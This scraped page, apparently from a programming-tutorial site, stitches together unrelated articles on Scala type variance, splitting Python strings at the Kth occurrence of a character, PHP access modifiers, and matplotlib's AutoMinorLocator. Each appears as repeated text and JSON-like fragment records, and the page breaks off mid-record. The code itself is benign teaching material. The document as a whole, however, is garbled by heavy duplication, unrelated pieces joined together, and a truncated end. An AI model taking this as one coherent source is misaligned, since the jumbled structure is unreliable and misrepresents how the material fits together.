Invariant: In Scala, generic types are by default invariant. Suppose, we have two List types of Scala i.e, S and T. where, S is sub-type of T but List[T] and List[S] are not at all related, then they fall under the invariant type.Syntax:List[T]Here, we don’t use any symbol for invariant relationship.Note: The classes like Array[T], ListBuffer[T], ArrayBuffer[T] etc. are mutable so, they have invariant type parameter, if we use invariant type parameters in inheritance relationship or sub-typing then we will get a compilation error.
List[T]
Here, we don’t use any symbol for invariant relationship.Note: The classes like Array[T], ListBuffer[T], ArrayBuffer[T] etc. are mutable so, they have invariant type parameter, if we use invariant type parameters in inheritance relationship or sub-typing then we will get a compilation error.
Picked
Scala
scala-parameterized-type
Scala
Technical Scripter
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Type Casting in Scala
Class and Object in Scala
Scala Tutorial – Learn Scala with Step By Step Guide
Scala Lists
Operators in Scala
Scala String substring() method with example
Scala | Arrays
Scala Constructors
Enumeration in Scala
Inheritance in Scala
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n10 Apr, 2019"
},
{
"code": null,
"e": 549,
"s": 28,
"text": "Variance is the interconnection of Sub-Typing relationships which are either of complicated types or of their constituent types. Variance explains inheritance correlation of Types that have parameters or arguments within them. These types belongs to the generic classes, which takes a type like a parameter. In the presence of Variance one can create relations between complicated types and in its absence we won’t be able to reiterate the abstraction class. The Scala Variances are of three types, which are as follows:"
},
{
"code": null,
"e": 581,
"s": 549,
"text": "CovariantContravariantInvariant"
},
{
"code": null,
"e": 591,
"s": 581,
"text": "Covariant"
},
{
"code": null,
"e": 605,
"s": 591,
"text": "Contravariant"
},
{
"code": null,
"e": 615,
"s": 605,
"text": "Invariant"
},
{
"code": null,
"e": 638,
"s": 615,
"text": "Some important points:"
},
{
"code": null,
"e": 718,
"s": 638,
"text": "In Scala collection’s types can be constructed more securely through Variances."
},
{
"code": null,
"e": 784,
"s": 718,
"text": "Variances can provide us with some extra adjustable advancements."
},
{
"code": null,
"e": 844,
"s": 784,
"text": "It also helps in the development of authentic applications."
},
{
"code": null,
"e": 910,
"s": 844,
"text": "Variances can be applied on any Scala Types like List, Sets, etc."
},
{
"code": null,
"e": 945,
"s": 910,
"text": "Let’s discuss each type in detail."
},
{
"code": null,
"e": 2661,
"s": 945,
"text": "Covariant: If a generic class has a type parameter T, then its Covariant notation will be [+T]. Suppose, we have two List types of Scala i.e, S and T. where, S is sub-type of T, then you can say that List[S] is also the sub-type of List[T]. If two types are related like this then they fall under the Covariant type. List[T] can be called as Generic.Syntax:List[+T]Here, T is the type parameter and + is the symbol of Covariance.Example:// Scala program of covariant// type // Creating an abstract class// for Studentabstract class Student{ def name: String} // Creating a sub-class Girls// of Studentcase class Girls(name: String) extends Student // Creating a sub-class Boys// of Studentcase class Boys(name: String) extends Student // Creating an Object Covariance// that inherits main method of// Appobject Covariance extends App{ // Creating a method def Studentnames(students: List[Student]): Unit = { students.foreach { student => // Displays students name println(student.name) } } // Assigning names val boys: List[Boys] = List(Boys(\"Kanchan\"), Boys(\"Rahul\")) val girls: List[Girls] = List(Girls(\"Nidhi\"), Girls(\"Geeta\")) // Accessing list of boys Studentnames(boys) // Accessing list of girls Studentnames(girls)}Output:Kanchan\nRahul\nNidhi\nGeeta\nHere, List of boys and girls both belongs to the List of students as they are its sub-type and so, here names of all the students are displayed when the Super-type Student is called.Note:Abstract class is utilized here to apply covariance as it has List[+T] with it where, the type parameter T is covariant.A trait App is used here to speedily change objects into workable programs."
},
{
"code": null,
"e": 2670,
"s": 2661,
"text": "List[+T]"
},
{
"code": null,
"e": 2743,
"s": 2670,
"text": "Here, T is the type parameter and + is the symbol of Covariance.Example:"
},
{
"code": "// Scala program of covariant// type // Creating an abstract class// for Studentabstract class Student{ def name: String} // Creating a sub-class Girls// of Studentcase class Girls(name: String) extends Student // Creating a sub-class Boys// of Studentcase class Boys(name: String) extends Student // Creating an Object Covariance// that inherits main method of// Appobject Covariance extends App{ // Creating a method def Studentnames(students: List[Student]): Unit = { students.foreach { student => // Displays students name println(student.name) } } // Assigning names val boys: List[Boys] = List(Boys(\"Kanchan\"), Boys(\"Rahul\")) val girls: List[Girls] = List(Girls(\"Nidhi\"), Girls(\"Geeta\")) // Accessing list of boys Studentnames(boys) // Accessing list of girls Studentnames(girls)}",
"e": 3607,
"s": 2743,
"text": null
},
{
"code": null,
"e": 3634,
"s": 3607,
"text": "Kanchan\nRahul\nNidhi\nGeeta\n"
},
{
"code": null,
"e": 3822,
"s": 3634,
"text": "Here, List of boys and girls both belongs to the List of students as they are its sub-type and so, here names of all the students are displayed when the Super-type Student is called.Note:"
},
{
"code": null,
"e": 3943,
"s": 3822,
"text": "Abstract class is utilized here to apply covariance as it has List[+T] with it where, the type parameter T is covariant."
},
{
"code": null,
"e": 4019,
"s": 3943,
"text": "A trait App is used here to speedily change objects into workable programs."
},
{
"code": null,
"e": 5892,
"s": 4021,
"text": "Contravariant: If a generic class has a type parameter T, then its Contravariant notation will be [-T]. Suppose, we have two List types of Scala i.e, S and T. where, S is sub-type of T, but List[T] is the sub-type of List[S]. If two types are related like this then they fall under the Contravariant type. It is opposite of covariant.Syntax:List[-T]Here, T is the type parameter and – is the symbol of Contravariance.Example:// Scala program of Variance of// Contravariant type // abstract class with a contravariant // type parameterabstract class Show[-T] { // Method for printing // type T def print(value: T): Unit} // A class structureabstract class Vehicle{ def name: String} // Creating sub-class of Vehiclecase class Car(name: String) extends Vehicle // Creating sub-class of class// Showclass VehicleShow extends Show[Vehicle] { def print(vehicle: Vehicle): Unit = // Displays name of the vehicle println(\"The name of the vehicle is: \" + vehicle.name)} // Creating sub-class of class// Showclass CarShow extends Show[Car] { def print(car: Car): Unit = // Displays name of the car println(\"The name of the car is: \" + car.name)} // Inheriting main method of // the trait Appobject Contravariance extends App { // Assigning value to the name val newCar: Car = Car(\"Scorpio\") // Defining a method that // prints the name def printnewCar(show: Show[Car]): Unit = { show.print(newCar) } // Creating objects val showcar: Show[Car] = new CarShow val showvehicle: Show[Vehicle] = new VehicleShow // Accessing name printnewCar(showcar) printnewCar(showvehicle)}Output:The name of the car is: Scorpio\nThe name of the vehicle is: Scorpio\nIt is Contravariant so, we are able to substitute Show[Vehicle] for Show[Car] and that’s why both vehicle and car returns the same name."
},
{
"code": null,
"e": 5901,
"s": 5892,
"text": "List[-T]"
},
{
"code": null,
"e": 5978,
"s": 5901,
"text": "Here, T is the type parameter and – is the symbol of Contravariance.Example:"
},
{
"code": "// Scala program of Variance of// Contravariant type // abstract class with a contravariant // type parameterabstract class Show[-T] { // Method for printing // type T def print(value: T): Unit} // A class structureabstract class Vehicle{ def name: String} // Creating sub-class of Vehiclecase class Car(name: String) extends Vehicle // Creating sub-class of class// Showclass VehicleShow extends Show[Vehicle] { def print(vehicle: Vehicle): Unit = // Displays name of the vehicle println(\"The name of the vehicle is: \" + vehicle.name)} // Creating sub-class of class// Showclass CarShow extends Show[Car] { def print(car: Car): Unit = // Displays name of the car println(\"The name of the car is: \" + car.name)} // Inheriting main method of // the trait Appobject Contravariance extends App { // Assigning value to the name val newCar: Car = Car(\"Scorpio\") // Defining a method that // prints the name def printnewCar(show: Show[Car]): Unit = { show.print(newCar) } // Creating objects val showcar: Show[Car] = new CarShow val showvehicle: Show[Vehicle] = new VehicleShow // Accessing name printnewCar(showcar) printnewCar(showvehicle)}",
"e": 7213,
"s": 5978,
"text": null
},
{
"code": null,
"e": 7282,
"s": 7213,
"text": "The name of the car is: Scorpio\nThe name of the vehicle is: Scorpio\n"
},
{
"code": null,
"e": 7419,
"s": 7282,
"text": "It is Contravariant so, we are able to substitute Show[Vehicle] for Show[Car] and that’s why both vehicle and car returns the same name."
},
{
"code": null,
"e": 7956,
"s": 7419,
"text": "Invariant: In Scala, generic types are by default invariant. Suppose, we have two List types of Scala i.e, S and T. where, S is sub-type of T but List[T] and List[S] are not at all related, then they fall under the invariant type.Syntax:List[T]Here, we don’t use any symbol for invariant relationship.Note: The classes like Array[T], ListBuffer[T], ArrayBuffer[T] etc. are mutable so, they have invariant type parameter, if we use invariant type parameters in inheritance relationship or sub-typing then we will get a compilation error."
},
{
"code": null,
"e": 7964,
"s": 7956,
"text": "List[T]"
},
{
"code": null,
"e": 8257,
"s": 7964,
"text": "Here, we don’t use any symbol for invariant relationship.Note: The classes like Array[T], ListBuffer[T], ArrayBuffer[T] etc. are mutable so, they have invariant type parameter, if we use invariant type parameters in inheritance relationship or sub-typing then we will get a compilation error."
},
{
"code": null,
"e": 8264,
"s": 8257,
"text": "Picked"
},
{
"code": null,
"e": 8270,
"s": 8264,
"text": "Scala"
},
{
"code": null,
"e": 8295,
"s": 8270,
"text": "scala-parameterized-type"
},
{
"code": null,
"e": 8301,
"s": 8295,
"text": "Scala"
},
{
"code": null,
"e": 8320,
"s": 8301,
"text": "Technical Scripter"
},
{
"code": null,
"e": 8418,
"s": 8320,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 8440,
"s": 8418,
"text": "Type Casting in Scala"
},
{
"code": null,
"e": 8466,
"s": 8440,
"text": "Class and Object in Scala"
},
{
"code": null,
"e": 8519,
"s": 8466,
"text": "Scala Tutorial – Learn Scala with Step By Step Guide"
},
{
"code": null,
"e": 8531,
"s": 8519,
"text": "Scala Lists"
},
{
"code": null,
"e": 8550,
"s": 8531,
"text": "Operators in Scala"
},
{
"code": null,
"e": 8595,
"s": 8550,
"text": "Scala String substring() method with example"
},
{
"code": null,
"e": 8610,
"s": 8595,
"text": "Scala | Arrays"
},
{
"code": null,
"e": 8629,
"s": 8610,
"text": "Scala Constructors"
},
{
"code": null,
"e": 8650,
"s": 8629,
"text": "Enumeration in Scala"
}
] |
Python | Split string on Kth Occurrence of Character
|
17 Jun, 2021
Many problems of the split have been dealt with in the past, but sometimes, one can also encounter this problem in which we need to split the string on the Kth occurrence of a character. Let’s discuss certain ways in which this problem can be solved.
Method #1 : Using split() + join() The split and join method can perform this particular task. In this, we split the string on basis of character and according to K, we perform a rejoin using the nested join method.
Python3
# Python3 code to demonstrate working of# Split string on Kth Occurrence of Character# Using split() + join() # initializing stringtest_str = "Geeks_for_Geeks_is_best" # split charsplt_char = "_" # initializing KK = 3 # printing original stringprint("The original string is : " + str(test_str)) # Using split() + join()# Split string on Kth Occurrence of Charactertemp = test_str.split(splt_char)res = splt_char.join(temp[:K]), splt_char.join(temp[K:]) # printing resultprint("Is list after Kth split is : " + str(list(res)))
The original string is : Geeks_for_Geeks_is_best
Is list after Kth split is : ['Geeks_for_Geeks', 'is_best']
Method #2 : Using regex This problem can also be solved using the regex to perform this particular task. Along with slicing, the finditer method of regex library can help to achieve this particular task.
Python3
# Python3 code to demonstrate working of# Split string on Kth Occurrence of Character# Using regeximport re # initializing stringtest_str = "Geeks_for_Geeks_is_best" # split charsplt_char = "_" # initializing KK = 3 # printing original stringprint("The original string is : " + str(test_str)) # Using regex# Split string on Kth Occurrence of Charactertemp = [x.start() for x in re.finditer(splt_char, test_str)]res1 = test_str[0:temp[K - 1]]res2 = test_str[temp[K - 1] + 1:]res = (res1 + " " + res2).split(" ") # printing resultprint("Is list after Kth split is : " + str(res))
The original string is : Geeks_for_Geeks_is_best
Is list after Kth split is : ['Geeks_for_Geeks', 'is_best']
Method #3: Using maxsplit from split
You can use the split itself to get the kth number the second parameter of the method split, that is the max split, then you have your string.
Probably the easiest way
Python3
test_str = "Geeks for geeks" K = 1 #kth occurrence new_str, rest = test_str.split(" ", K) #or if you want a list new_str_list = test_str.split(" ", K) print(new_str)print(rest) print(f'list: {new_str_list}')
Geeks
for geeks
list: ['Geeks', 'for geeks']
raulmyron
simmytarika5
Python string-programs
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Different ways to create Pandas Dataframe
Enumerate() in Python
Python String | replace()
How to Install PIP on Windows ?
*args and **kwargs in Python
Defaultdict in Python
Python | Get dictionary keys as a list
Python | Convert a list to dictionary
Python Program for Fibonacci numbers
Python | Convert string dictionary to dictionary
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n17 Jun, 2021"
},
{
"code": null,
"e": 280,
"s": 28,
"text": "Many problems of the split have been dealt with in the past, but sometimes, one can also encounter this problem in which we need to split the string on the Kth occurrence of a character. Let’s discuss certain ways in which this problem can be solved. "
},
{
"code": null,
"e": 498,
"s": 280,
"text": "Method #1 : Using split() + join() The split and join method can perform this particular task. In this, we split the string on basis of character and according to K, we perform a rejoin using the nested join method. "
},
{
"code": null,
"e": 506,
"s": 498,
"text": "Python3"
},
{
"code": "# Python3 code to demonstrate working of# Split string on Kth Occurrence of Character# Using split() + join() # initializing stringtest_str = \"Geeks_for_Geeks_is_best\" # split charsplt_char = \"_\" # initializing KK = 3 # printing original stringprint(\"The original string is : \" + str(test_str)) # Using split() + join()# Split string on Kth Occurrence of Charactertemp = test_str.split(splt_char)res = splt_char.join(temp[:K]), splt_char.join(temp[K:]) # printing resultprint(\"Is list after Kth split is : \" + str(list(res)))",
"e": 1032,
"s": 506,
"text": null
},
{
"code": null,
"e": 1141,
"s": 1032,
"text": "The original string is : Geeks_for_Geeks_is_best\nIs list after Kth split is : ['Geeks_for_Geeks', 'is_best']"
},
{
"code": null,
"e": 1347,
"s": 1141,
"text": " Method #2 : Using regex This problem can also be solved using the regex to perform this particular task. Along with slicing, the finditer method of regex library can help to achieve this particular task. "
},
{
"code": null,
"e": 1355,
"s": 1347,
"text": "Python3"
},
{
"code": "# Python3 code to demonstrate working of# Split string on Kth Occurrence of Character# Using regeximport re # initializing stringtest_str = \"Geeks_for_Geeks_is_best\" # split charsplt_char = \"_\" # initializing KK = 3 # printing original stringprint(\"The original string is : \" + str(test_str)) # Using regex# Split string on Kth Occurrence of Charactertemp = [x.start() for x in re.finditer(splt_char, test_str)]res1 = test_str[0:temp[K - 1]]res2 = test_str[temp[K - 1] + 1:]res = (res1 + \" \" + res2).split(\" \") # printing resultprint(\"Is list after Kth split is : \" + str(res))",
"e": 1933,
"s": 1355,
"text": null
},
{
"code": null,
"e": 2042,
"s": 1933,
"text": "The original string is : Geeks_for_Geeks_is_best\nIs list after Kth split is : ['Geeks_for_Geeks', 'is_best']"
},
{
"code": null,
"e": 2081,
"s": 2042,
"text": "Method #3: Using maxsplit from split "
},
{
"code": null,
"e": 2226,
"s": 2081,
"text": "You can use the split itself to get the kth number the second parameter of the method split, that is the max split, then you have your string. "
},
{
"code": null,
"e": 2251,
"s": 2226,
"text": "Probably the easiest way"
},
{
"code": null,
"e": 2259,
"s": 2251,
"text": "Python3"
},
{
"code": "test_str = \"Geeks for geeks\" K = 1 #kth occurrence new_str, rest = test_str.split(\" \", K) #or if you want a list new_str_list = test_str.split(\" \", K) print(new_str)print(rest) print(f'list: {new_str_list}')",
"e": 2529,
"s": 2259,
"text": null
},
{
"code": null,
"e": 2574,
"s": 2529,
"text": "Geeks\nfor geeks\nlist: ['Geeks', 'for geeks']"
},
{
"code": null,
"e": 2584,
"s": 2574,
"text": "raulmyron"
},
{
"code": null,
"e": 2597,
"s": 2584,
"text": "simmytarika5"
},
{
"code": null,
"e": 2620,
"s": 2597,
"text": "Python string-programs"
},
{
"code": null,
"e": 2627,
"s": 2620,
"text": "Python"
},
{
"code": null,
"e": 2643,
"s": 2627,
"text": "Python Programs"
},
{
"code": null,
"e": 2741,
"s": 2643,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 2783,
"s": 2741,
"text": "Different ways to create Pandas Dataframe"
},
{
"code": null,
"e": 2805,
"s": 2783,
"text": "Enumerate() in Python"
},
{
"code": null,
"e": 2831,
"s": 2805,
"text": "Python String | replace()"
},
{
"code": null,
"e": 2863,
"s": 2831,
"text": "How to Install PIP on Windows ?"
},
{
"code": null,
"e": 2892,
"s": 2863,
"text": "*args and **kwargs in Python"
},
{
"code": null,
"e": 2914,
"s": 2892,
"text": "Defaultdict in Python"
},
{
"code": null,
"e": 2953,
"s": 2914,
"text": "Python | Get dictionary keys as a list"
},
{
"code": null,
"e": 2991,
"s": 2953,
"text": "Python | Convert a list to dictionary"
},
{
"code": null,
"e": 3028,
"s": 2991,
"text": "Python Program for Fibonacci numbers"
}
] |
What is the difference between public, private, and protected in PHP?
|
06 Oct, 2021
Public, private and protected are called access modifiers. Just like C++, PHP also have three access modifiers such as public, private and protected. The visibility of a property, a method or a constant can be defined by prefixing the declaration with these keywords.
If the class member declared as public then it can be accessed everywhere.
If the class members declared as protected then it can be accessed only within the class itself and by inheriting child classes.
If the class members declared as private then it may only be accessed by the class that defines the member.
Public Access modifier: This modifier is open to use inside as well as outside the class. Example:
php
<?php // BaseClassclass pub { public $tag_line = "A Computer Science Portal for Geeks!"; function display() { echo $this->tag_line."<br/>"; }} // SubClassclass child extends pub { function show(){ echo $this->tag_line; }} // Object Declaration$obj= new child; // A Computer Science Portal for Geeks!echo $obj->tag_line."<br/>"; // A Computer Science Portal for Geeks!$obj->display(); // A Computer Science Portal for Geeks!$obj->show();?>
Output:
A Computer Science Portal for Geeks!
A Computer Science Portal for Geeks!
A Computer Science Portal for Geeks!
Protected Access modifier: This modifier is open to use within the class in which it is defined and its parent or inherited classes.Example:
php
<?php // Base Classclass pro { protected $x = 500; protected $y = 500; // Subtraction Function function sub() { echo $sum=$this->x-$this->y . "<br/>"; } } // SubClass - Inherited Classclass child extends pro { function mul() //Multiply Function { echo $sub=$this->x*$this->y; }} $obj= new child;$obj->sub();$obj->mul();?>
Output:
0
250000
Private Access modifier: This modifier is open to use within the class that defines it. ( it can’t be accessed outside the class means in inherited class).Example:
php
<?php // Base Classclass demo { private $name="A Computer Science Portal for Geeks!"; private function show() { echo "This is private method of base class"; }} // Sub Classclass child extends demo { function display() { echo $this->name; }} // Object Declaration$obj= new child; // Uncaught Error: Call to private method demo::show()$obj->show(); //Undefined property: child::$name$obj->display();?>
Output:
It will display error because private class data can not be accessed outside the class
Miscellaneous example: Example:
php
<?phpclass BaseClass{ public $public = 'Public'; protected $protected = 'Protected'; private $private = 'Private'; function Display() { echo $this->public; echo $this->protected; echo $this->private; }} $obj = new BaseClass();echo $obj->public;echo $obj->protected; // Cannot access protected propertyecho $obj->private; // Cannot access private property$obj->Display(); //Displays all properties class SubClass extends BaseClass{ public $public = 'Public Sub Class'; protected $protected = 'Protected Sub Class'; function Display() { echo $this->public; echo $this->protected; echo $this->private; }} $obj2 = new SubClass();echo $obj2->public;echo $obj2->protected; // Cannot access protected propertyecho $obj2->private; // Cannot access private property$obj2->Display(); //Displays all properties?>
Output:
It will display error because private class data can not be accessed outside the class
PHP is a server-side scripting language designed specifically for web development. You can learn PHP from the ground up by following this PHP Tutorial and PHP Examples.
gulshankumarar231
Chinmaya Dehury
Picked
Technical Scripter 2018
PHP
PHP Programs
Technical Scripter
Web Technologies
PHP
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Insert Form Data into Database using PHP ?
How to convert array to string in PHP ?
How to Upload Image into Database and Display it using PHP ?
How to check whether an array is empty using PHP?
PHP | Converting string to Date and DateTime
How to Insert Form Data into Database using PHP ?
How to convert array to string in PHP ?
How to Upload Image into Database and Display it using PHP ?
How to check whether an array is empty using PHP?
How to call PHP function on the click of a Button ?
|
[
{
"code": null,
"e": 52,
"s": 24,
"text": "\n06 Oct, 2021"
},
{
"code": null,
"e": 322,
"s": 52,
"text": "Public, private and protected are called access modifiers. Just like C++, PHP also have three access modifiers such as public, private and protected. The visibility of a property, a method or a constant can be defined by prefixing the declaration with these keywords. "
},
{
"code": null,
"e": 397,
"s": 322,
"text": "If the class member declared as public then it can be accessed everywhere."
},
{
"code": null,
"e": 526,
"s": 397,
"text": "If the class members declared as protected then it can be accessed only within the class itself and by inheriting child classes."
},
{
"code": null,
"e": 634,
"s": 526,
"text": "If the class members declared as private then it may only be accessed by the class that defines the member."
},
{
"code": null,
"e": 735,
"s": 634,
"text": "Public Access modifier: This modifier is open to use inside as well as outside the class. Example: "
},
{
"code": null,
"e": 739,
"s": 735,
"text": "php"
},
{
"code": "<?php // BaseClassclass pub { public $tag_line = \"A Computer Science Portal for Geeks!\"; function display() { echo $this->tag_line.\"<br/>\"; }} // SubClassclass child extends pub { function show(){ echo $this->tag_line; }} // Object Declaration$obj= new child; // A Computer Science Portal for Geeks!echo $obj->tag_line.\"<br/>\"; // A Computer Science Portal for Geeks!$obj->display(); // A Computer Science Portal for Geeks!$obj->show();?>",
"e": 1207,
"s": 739,
"text": null
},
{
"code": null,
"e": 1217,
"s": 1207,
"text": "Output: "
},
{
"code": null,
"e": 1328,
"s": 1217,
"text": "A Computer Science Portal for Geeks!\nA Computer Science Portal for Geeks!\nA Computer Science Portal for Geeks!"
},
{
"code": null,
"e": 1471,
"s": 1328,
"text": "Protected Access modifier: This modifier is open to use within the class in which it is defined and its parent or inherited classes.Example: "
},
{
"code": null,
"e": 1475,
"s": 1471,
"text": "php"
},
{
"code": "<?php // Base Classclass pro { protected $x = 500; protected $y = 500; // Subtraction Function function sub() { echo $sum=$this->x-$this->y . \"<br/>\"; } } // SubClass - Inherited Classclass child extends pro { function mul() //Multiply Function { echo $sub=$this->x*$this->y; }} $obj= new child;$obj->sub();$obj->mul();?>",
"e": 1854,
"s": 1475,
"text": null
},
{
"code": null,
"e": 1864,
"s": 1854,
"text": "Output: "
},
{
"code": null,
"e": 1873,
"s": 1864,
"text": "0\n250000"
},
{
"code": null,
"e": 2039,
"s": 1873,
"text": "Private Access modifier: This modifier is open to use within the class that defines it. ( it can’t be accessed outside the class means in inherited class).Example: "
},
{
"code": null,
"e": 2043,
"s": 2039,
"text": "php"
},
{
"code": "<?php // Base Classclass demo { private $name=\"A Computer Science Portal for Geeks!\"; private function show() { echo \"This is private method of base class\"; }} // Sub Classclass child extends demo { function display() { echo $this->name; }} // Object Declaration$obj= new child; // Uncaught Error: Call to private method demo::show()$obj->show(); //Undefined property: child::$name$obj->display();?>",
"e": 2483,
"s": 2043,
"text": null
},
{
"code": null,
"e": 2493,
"s": 2483,
"text": "Output: "
},
{
"code": null,
"e": 2580,
"s": 2493,
"text": "It will display error because private class data can not be accessed outside the class"
},
{
"code": null,
"e": 2614,
"s": 2580,
"text": "Miscellaneous example: Example: "
},
{
"code": null,
"e": 2618,
"s": 2614,
"text": "php"
},
{
"code": "<?phpclass BaseClass{ public $public = 'Public'; protected $protected = 'Protected'; private $private = 'Private'; function Display() { echo $this->public; echo $this->protected; echo $this->private; }} $obj = new BaseClass();echo $obj->public;echo $obj->protected; // Cannot access protected propertyecho $obj->private; // Cannot access private property$obj->Display(); //Displays all properties class SubClass extends BaseClass{ public $public = 'Public Sub Class'; protected $protected = 'Protected Sub Class'; function Display() { echo $this->public; echo $this->protected; echo $this->private; }} $obj2 = new SubClass();echo $obj2->public;echo $obj2->protected; // Cannot access protected propertyecho $obj2->private; // Cannot access private property$obj2->Display(); //Displays all properties?>",
"e": 3499,
"s": 2618,
"text": null
},
{
"code": null,
"e": 3509,
"s": 3499,
"text": "Output: "
},
{
"code": null,
"e": 3596,
"s": 3509,
"text": "It will display error because private class data can not be accessed outside the class"
},
{
"code": null,
"e": 3767,
"s": 3598,
"text": "PHP is a server-side scripting language designed specifically for web development. You can learn PHP from the ground up by following this PHP Tutorial and PHP Examples."
},
{
"code": null,
"e": 3787,
"s": 3769,
"text": "gulshankumarar231"
},
{
"code": null,
"e": 3803,
"s": 3787,
"text": "Chinmaya Dehury"
},
{
"code": null,
"e": 3810,
"s": 3803,
"text": "Picked"
},
{
"code": null,
"e": 3834,
"s": 3810,
"text": "Technical Scripter 2018"
},
{
"code": null,
"e": 3838,
"s": 3834,
"text": "PHP"
},
{
"code": null,
"e": 3851,
"s": 3838,
"text": "PHP Programs"
},
{
"code": null,
"e": 3870,
"s": 3851,
"text": "Technical Scripter"
},
{
"code": null,
"e": 3887,
"s": 3870,
"text": "Web Technologies"
},
{
"code": null,
"e": 3891,
"s": 3887,
"text": "PHP"
},
{
"code": null,
"e": 3989,
"s": 3891,
"text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here."
},
{
"code": null,
"e": 4039,
"s": 3989,
"text": "How to Insert Form Data into Database using PHP ?"
},
{
"code": null,
"e": 4079,
"s": 4039,
"text": "How to convert array to string in PHP ?"
},
{
"code": null,
"e": 4140,
"s": 4079,
"text": "How to Upload Image into Database and Display it using PHP ?"
},
{
"code": null,
"e": 4190,
"s": 4140,
"text": "How to check whether an array is empty using PHP?"
},
{
"code": null,
"e": 4235,
"s": 4190,
"text": "PHP | Converting string to Date and DateTime"
},
{
"code": null,
"e": 4285,
"s": 4235,
"text": "How to Insert Form Data into Database using PHP ?"
},
{
"code": null,
"e": 4325,
"s": 4285,
"text": "How to convert array to string in PHP ?"
},
{
"code": null,
"e": 4386,
"s": 4325,
"text": "How to Upload Image into Database and Display it using PHP ?"
},
{
"code": null,
"e": 4436,
"s": 4386,
"text": "How to check whether an array is empty using PHP?"
}
] |
Matplotlib.ticker.AutoMinorLocator Class in Python
|
21 Apr, 2020
Matplotlib is an amazing visualization library in Python for 2D plots of arrays. Matplotlib is a multi-platform data visualization library built on NumPy arrays and designed to work with the broader SciPy stack.
The matplotlib.ticker.AutoMinorLocator class is used to find minor tick positions based on the positions of major ticks dynamically. The major ticks need to be evenly spaced along with a linear scale.
Syntax: class matplotlib.ticker.AutoMinorLocator(n=None)
parameter:
n: it represents the number of subdivisions of the interval between major ticks. If n is omitted or None, it automatically sets to 5 or 4.
Methods of the class:
tick_values(self, vmin, vmax): Given vmin and vmax it returns the value of the located ticks.
Example 1:
import pandas as pdimport matplotlib.pyplot as pltfrom matplotlib import ticker data = [ ('Area 1', 'Bar 1', 2, 2), ('Area 2', 'Bar 2', 1, 3), ('Area 1', 'Bar 3', 3, 2), ('Area 2', 'Bar 4', 2, 3),] df = pd.DataFrame(data, columns =('A', 'B', 'D1', 'D2')) df = df.set_index(['A', 'B'])df.sort_index(inplace = True) # Remove the index names for the plot,# or it'll be used as the axis labeldf.index.names = ['', ''] ax = df.plot(kind ='barh', stacked = True) minor_locator = ticker.AutoMinorLocator(2) ax.yaxis.set_minor_locator(minor_locator) ax.set_yticklabels(df.index.get_level_values(1))ax.set_yticklabels(df.index.get_level_values(0).unique(), minor = True) ax.set_yticks(np.arange(0.5, len(df), 2), minor = True) ax.tick_params(axis ='y', which ='minor', direction ='out', pad = 50) plt.show()
Output:
Example 2:
from pylab import * import matplotlibimport matplotlib.ticker as ticker # Setting minor ticker size to 0, # globally.matplotlib.rcParams['xtick.minor.size'] = 0 # Create a figure with just one # subplot.fig = figure()ax = fig.add_subplot(111) # Set both X and Y limits so that# matplotlibax.set_xlim(0, 800) # Fixes the major ticks to the places# where desired (one every hundred units)ax.xaxis.set_major_locator(ticker.FixedLocator(range(0, 801, 100)))ax.xaxis.set_major_formatter(ticker.NullFormatter()) # Add minor tickers AND labels for themax.xaxis.set_minor_locator(ticker.AutoMinorLocator(n = 2))ax.xaxis.set_minor_formatter(ticker.FixedFormatter(['AB %d' % x for x in range(1, 9)])) ax.set_ylim(-2000, 6500, auto = False) # common attributes for the bar plotsbcommon = dict( height = [8500], bottom = -2000, width = 100) bars = [[600, 'green'], [700, 'red']]for left, clr in bars: bar([left], color = clr, **bcommon) show()
Output:
Python-matplotlib
Python
Write From Home
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
|
[
{
"code": null,
"e": 28,
"s": 0,
"text": "\n21 Apr, 2020"
},
{
"code": null,
"e": 240,
"s": 28,
"text": "Matplotlib is an amazing visualization library in Python for 2D plots of arrays. Matplotlib is a multi-platform data visualization library built on NumPy arrays and designed to work with the broader SciPy stack."
},
{
"code": null,
"e": 441,
"s": 240,
"text": "The matplotlib.ticker.AutoMinorLocator class is used to find minor tick positions based on the positions of major ticks dynamically. The major ticks need to be evenly spaced along with a linear scale."
},
{
"code": null,
"e": 498,
"s": 441,
"text": "Syntax: class matplotlib.ticker.AutoMinorLocator(n=None)"
},
{
"code": null,
"e": 509,
"s": 498,
"text": "parameter:"
},
{
"code": null,
"e": 648,
"s": 509,
"text": "n: it represents the number of subdivisions of the interval between major ticks. If n is omitted or None, it automatically sets to 5 or 4."
},
{
"code": null,
"e": 670,
"s": 648,
"text": "Methods of the class:"
},
{
"code": null,
"e": 764,
"s": 670,
"text": "tick_values(self, vmin, vmax): Given vmin and vmax it returns the value of the located ticks."
},
{
"code": null,
"e": 775,
"s": 764,
"text": "Example 1:"
},
{
"code": "import pandas as pdimport matplotlib.pyplot as pltfrom matplotlib import ticker data = [ ('Area 1', 'Bar 1', 2, 2), ('Area 2', 'Bar 2', 1, 3), ('Area 1', 'Bar 3', 3, 2), ('Area 2', 'Bar 4', 2, 3),] df = pd.DataFrame(data, columns =('A', 'B', 'D1', 'D2')) df = df.set_index(['A', 'B'])df.sort_index(inplace = True) # Remove the index names for the plot,# or it'll be used as the axis labeldf.index.names = ['', ''] ax = df.plot(kind ='barh', stacked = True) minor_locator = ticker.AutoMinorLocator(2) ax.yaxis.set_minor_locator(minor_locator) ax.set_yticklabels(df.index.get_level_values(1))ax.set_yticklabels(df.index.get_level_values(0).unique(), minor = True) ax.set_yticks(np.arange(0.5, len(df), 2), minor = True) ax.tick_params(axis ='y', which ='minor', direction ='out', pad = 50) plt.show()",
"e": 1677,
"s": 775,
"text": null
},
{
"code": null,
"e": 1685,
"s": 1677,
"text": "Output:"
},
{
"code": null,
"e": 1696,
"s": 1685,
"text": "Example 2:"
},
{
